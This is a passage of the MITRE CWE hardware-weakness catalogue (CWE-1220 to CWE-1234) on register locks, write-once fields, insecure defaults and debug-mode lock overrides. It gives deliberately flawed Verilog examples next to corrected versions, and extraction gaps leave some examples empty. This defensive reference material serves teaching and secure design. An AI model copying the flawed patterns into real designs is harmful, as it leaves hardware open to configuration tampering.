Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.

Demonstrative Examples

Example 1:

An adversary may perform writes to reserve space in hopes to change the behavior of the hardware.

Example Language: Other

(bad)

```
// Assume an IP has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F).
// Therefore inside the Finite State Machine (FSM), the code is as follows:
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
4'b1111 : //0x0F
begin
gpio_out = 1;
end
```

In the code above, the GPIO pin should remain low for normal operation. However, it can be asserted by accessing the reserved address space (0x0F). This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system which may not be the correct action the system should perform).

Example Language:

(informative)

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
//4'b1111 : //0x0F
default: gpio_out = gpio_out;
```

CWE-1220: Insufficient Granularity of Access Control

Weakness ID : 1220

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.

Extended Description

Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.

A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | High |
| Integrity | Read Memory | |
| Availability | Execute Unauthorized Code or Commands | |
| Access Control | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |
| | Other | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Access-control-policy protections must be reviewed for design inconsistency and common weaknesses. Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary access controls.

The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language: Other

(bad)

In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.

A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity

"1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

Example Language:

(mitigation)

Example 2:

Consider the following SoC design. The sram in HRoT has an address range that is readable and writable by unprivileged software and it has an area that is only readable by unprivileged software. The tbus interconnect enforces access control for slaves on the bus but uses only one bit to control both read and write access. Address 0xA0000000 - 0xA000FFFF is readable and writable by the untrusted cores core{0-N} and address 0xA0010000 - 0xA001FFFF is only readable by the untrusted cores core{0-N}.

The security policy access control is not granular enough, as it uses one bit to enable both read and write access. This gives write access to an area that should only be readable by unprivileged agents.

Access control logic should differentiate between read and write access and to have sufficient address granularity.

CWE-1221: Incorrect Register Defaults or Module Parameters

Weakness ID : 1221

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.

The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------|------|
| ChildOf |  | 665 | Improper Initialization | 1330 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Varies by Context <i>Degradation of system functionality, or loss of access control enforcement can occur.</i> | |
| Integrity | | |
| Availability | | |
| Access Control | | |

Potential Mitigations

Phase: Architecture and Design

During hardware design, all the system parameters and register defaults must be reviewed to identify security sensitive settings.

Phase: Implementation

The default values of these security sensitive settings need to be defined as part of the design review phase.

Phase: Testing

Testing phase should use automated tools to test that values are configured per design specifications.

Demonstrative Examples

Example 1:

Consider example design module system verilog code shown below. `register_example` module is an example parameterized module that defines two parameters, `REGISTER_WIDTH` and `REGISTER_DEFAULT`. `Register_example` module defines a `Secure_mode` setting, which when set makes the register content read-only and not modifiable by software writes. `register_top` module instantiates two registers, `Insecure_Device_ID_1` and `Insecure_Device_ID_2`. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values.

Example Language: Verilog

(bad)

```
// Parameterized Register module example
// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable//
/module register_example
s#(
parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits
parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register
computed from Width. Sets all bits to 1s except bit 0 (Secure _mode)
)
(
input [REGISTER_WIDTH-1:0] Data_in,
input Clk,
input resetn,
input write,
output reg [REGISTER_WIDTH-1:0] Data_out
);
reg Secure_mode;
always @(posedge Clk or negedge resetn)
if (~resetn)
begin
Data_out <= REGISTER_DEFAULT; // Register content set to Default at reset
Secure_mode <= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset
end
else if (write & ~Secure_mode)
begin
Data_out <= Data_in;
end
endmodule
module register_top
(
input Clk,
input resetn,
input write,
input [31:0] Data_in,
output reg [31:0] Secure_reg,
output reg [31:0] Insecure_reg
);
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0.
) Insecure_Device_ID_1 (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
register_example #(
.REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default.
) Insecure_Device_ID_2 (
.Data_in (Data_in),
.Data_out (Insecure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
endmodule
```

These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.

In the example design, both registers will be software writable since Secure_mode is defined as zero.

Example Language:

(informative)

register_example #(

```
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode
) Secure_Device_ID_example (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
```

CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks

| | |
|------------------------------|---------------------------|
| Weakness ID : 1222 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.

A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--|------|
| ChildOf |  | 1220 | Insufficient Granularity of Access Control | 1794 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Other | |
| | <i>System security configuration cannot be defined in a way that does not conflict with functional requirements of device.</i> | |

Potential Mitigations

Phase: Architecture and Design

The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks. As an alternative to using register lock control bits and fixed access control regions, the hardware design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.

Demonstrative Examples

Example 1:

For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS_LOCK) where each bit lock locks the corresponding 1 kilobyte region.

Example Language: Other

(bad)

If a register exists within the first kilobyte address range (e.g. SW_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY_FEATURE_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.

CWE-1223: Race Condition for Write-Once Attributes

| | |
|---------------------------|----------------------------|
| Weakness ID : 1223 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

1800

A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 362 | Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') | 817 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Bypass Protection Mechanism <i>System configuration cannot be programmed in a secure way.</i> | |

Potential Mitigations

Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples

Example 1:

consider the example design module system verilog code shown below.
register_write_once_example module is an example of register that has a write-once field defined.
Bit 0 field captures the write_once_status value.

Example Language: Verilog (bad)

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetrn,
input global_resetrn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
if (~ip_resetrn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE; // Input data written to register after masking bit 0
Write_once_status <= 1'b1; // Write once status set after first write.
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.

Example Language: (informative)

Trusted firmware or software trying to set the write-once field.
- Must confirm the Write_once_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write_once_status value will be one.
- After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.

CWE-1224: Improper Restriction of Write-Once Bit Fields

| | |
|--------------------|--------------------|
| Weakness ID : 1224 | Status: Incomplete |
| Structure : Simple | |

Abstraction : Base**Description**

The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | [P] | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Varies by Context <i>System configuration cannot be programmed in a secure way.</i> | |
| Integrity | | |
| Availability | | |
| Access Control | | |

Potential Mitigations**Phase: Architecture and Design**

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples**Example 1:**

Consider the example design module system verilog code shown below.

register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write_once_status field gets written by input data bit 0 on first write.

Example Language: Verilog

(bad)

```
module register_write_once_example
(
  input [15:0] Data_in,
  input Clk,
  input ip_resetrn,
  input global_resetrn,
  input write,
  output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
  if (~ip_resetrn)
    begin
      Data_out <= 16'h0000;
      Write_once_status <= 1'b0;
    end
  else if (write & ~Write_once_status)
    begin
      Data_out <= Data_in & 16'hFFFE;
      Write_once_status <= Data_in[0]; // Input bit 0 sets Write_once_status
    end
  else if (~write)
    begin
      Data_out[15:1] <= Data_out[15:1];
      Data_out[0] <= Write_once_status;
    end
endmodule
```

The above example only locks further writes if write_once_status bit is written to one. So it acts as write_1-Once instead of the write-once attribute.

Example Language:

(informative)

```
module register_write_once_example
(
  input [15:0] Data_in,
  input Clk,
  input ip_resetrn,
  input global_resetrn,
  input write,
  output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetrn)
  if (~ip_resetrn)
    begin
      Data_out <= 16'h0000;
      Write_once_status <= 1'b0;
    end
  else if (write & ~Write_once_status)
    begin
      Data_out <= Data_in & 16'hFFFE;
      Write_once_status <= 1'b1; // Write once status set on first write, independent of input
    end
  else if (~write)
    begin
      Data_out[15:1] <= Data_out[15:1];
      Data_out[0] <= Write_once_status;
    end
endmodule
```

endmodule

CWE-1229: Creation of Emergent Resource

| | |
|----------------------------|---------------------------|
| Weakness ID : 1229 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.

Extended Description

A product is only expected to behave in a way that was specifically intended by the developer. Resource allocation and management is expected to be performed explicitly by the associated code. However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design. For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers. "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1230: Exposure of Sensitive Information Through Metadata

Weakness ID : 1230

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.

Extended Description

Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources. If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details. For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1231: Improper Prevention of Lock Bit Modification

Weakness ID : 1231

Status: Stable

Structure : Simple

Abstraction : Base

Description

The product uses a trusted lock bit for restricting access to registers, address regions, or other resources, but the product does not prevent the value of the lock bit from being modified after it has been set.

Extended Description

In integrated circuits and hardware intellectual property (IP) cores, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification.

This behavior is commonly implemented using a trusted lock bit. When set, the lock bit disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after it has been set. Attackers might be able to unlock the system and features that the bit is intended to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Modify Memory | High |
| | <i>Registers protected by lock bit can be modified even when lock is set.</i> | |

Detection Methods

Manual Analysis

Set the lock bit. Power cycle the device. Attempt to clear the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by firmware, and then the register needs to be locked (TEMP_SENSOR_LOCK).

Example Language: Other

(bad)

In this example, note that if the system heats to critical temperature, the response of the system is controlled by the TEMP_HW_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected, since software can misconfigure the TEMP_HW_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

Example Language:

(good)

To fix this weakness, one could change the TEMP_HW_SHUTDOWN field to be locked by TEMP_SENSOR_LOCK.

CWE-1232: Improper Lock Behavior After Power State Transition

Weakness ID : 1232

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

Register lock bit protection disables changes to system configuration once the bit is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes) causing the system configuration to be changeable.

Extended Description

Devices may allow device configuration controls which need to be programmed after device power reset via a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. This action is commonly implemented using a programmable lock bit, which, when set, disables writes to a protected set of registers or address regions.

After a power state transition, the lock bit is set to unlocked. Some common weaknesses that can exist in such a protection scheme are that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------|------|
| ChildOf |  | 667 | Improper Locking | 1337 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---------------|------------|
| Access Control | Modify Memory | High |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections should be reviewed for behavior across supported power state transitions. Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing including testing across power transitions.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using lock bit protection that locks all of the memory configuration registers. The memory configuration lock can be set by the BIOS during the boot process.

If such a system also supports a rapid power on mode like hibernate, the DRAM data must be saved to a disk before power is removed and restored back to the DRAM once the system powers back up and before the OS resumes operation after returning from hibernate.

To support the hibernate transition back to the operating state, the DRAM memory configuration must be reprogrammed even though it was locked previously. As the hibernate resume does a partial reboot, the memory configuration could be altered before the memory lock is set. Functionally the hibernate resume flow requires a bypass of the lock-based protection. The memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to the same state it was in before the device entered into the hibernate mode.

MemberOf Relationships

CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection

| | |
|---------------------------|-----------------------|
| Weakness ID : 1233 | Status: Stable |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.

Extended Description

Integrated circuits and hardware intellectual properties (IPs) might provide device configuration controls that need to be programmed after device power reset by a trusted firmware or software module, commonly set by BIOS/bootloader. After reset, there can be an expectation that the controls cannot be used to perform any further modification. This behavior is commonly implemented using a trusted lock bit, which can be set to disable writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration).

However, if the lock bit does not effectively write-protect all system registers or controls that could modify the protected system configuration, then an adversary may be able to use software to access the registers/controls and modify the protected hardware configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

| ChildOf | G | 667 | Improper Locking | 1337 |
| ChildOf | P | 284 | Improper Access Control | 631 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Modify Memory | |
| | <i>System Configuration protected by the lock bit can be modified even when the lock is set.</i> | |

Detection Methods

Manual Analysis

Set the lock bit. Attempt to modify the information protected by the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.

Demonstrative Examples

Example 1:

Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by the firmware.

Example Language: Other

(bad)

In this example note that only the CRITICAL_TEMP_LIMIT register is protected by the TEMP_SENSOR_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Also, the TEMP_SENSOR_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP_HW_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

Example Language:

(good)

Change TEMP_HW_SHUTDOWN and TEMP_SENSOR_CALIB controls to be locked by TEMP_SENSOR_LOCK.

Observed Examples

CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks

| | |
|---------------------------|----------------------------|
| Weakness ID : 1234 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

System configuration protection may be bypassed during debug mode.

Extended Description

Device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set, disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If debug features supported by hardware or internal modes/system states are supported in the hardware design, modification of the lock protection may be allowed allowing access and modification of configuration information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|------------------|------|
| ChildOf |  | 667 | Improper Locking | 1337 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Bypass Protection Mechanism | High |
| | <i>Bypass of lock bit allows access and modification of system configuration even when the lock bit is set.</i> | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections should be reviewed for any bypass/override modes supported. Any supported override modes either should be removed or protected using authenticated debug modes. Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider the example Locked_override_register example. This register module supports a lock mode that blocks any writes after lock is set to 1. However, it also allows override of the lock protection when scan_mode or debug_unlocked modes are active.

Example Language: Verilog

(bad)

```
module Locked_register_example
(
    input [15:0] Data_in,
    input Clk,
    input resetn,
    input write,
    input Lock,
    input scan_mode,
    input debug_unlocked,
    output reg [15:0] Data_out
);
```

```

reg lock_status;

always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
    begin
        lock_status <= 1'b0;
    end
else if (Lock)
    begin
        lock_status <= 1'b1;
    end
else if (~Lock)
    begin
        lock_status <= lock_status
    end

always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
    begin
        Data_out <= 16'h0000;
    end
else if (write & (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides
supported for scan_mode & debug_unlocked
    begin
        Data_out <= Data_in;
    end
else if (~write)
    begin
        Data_out <= Data_out;
    end

endmodule

```

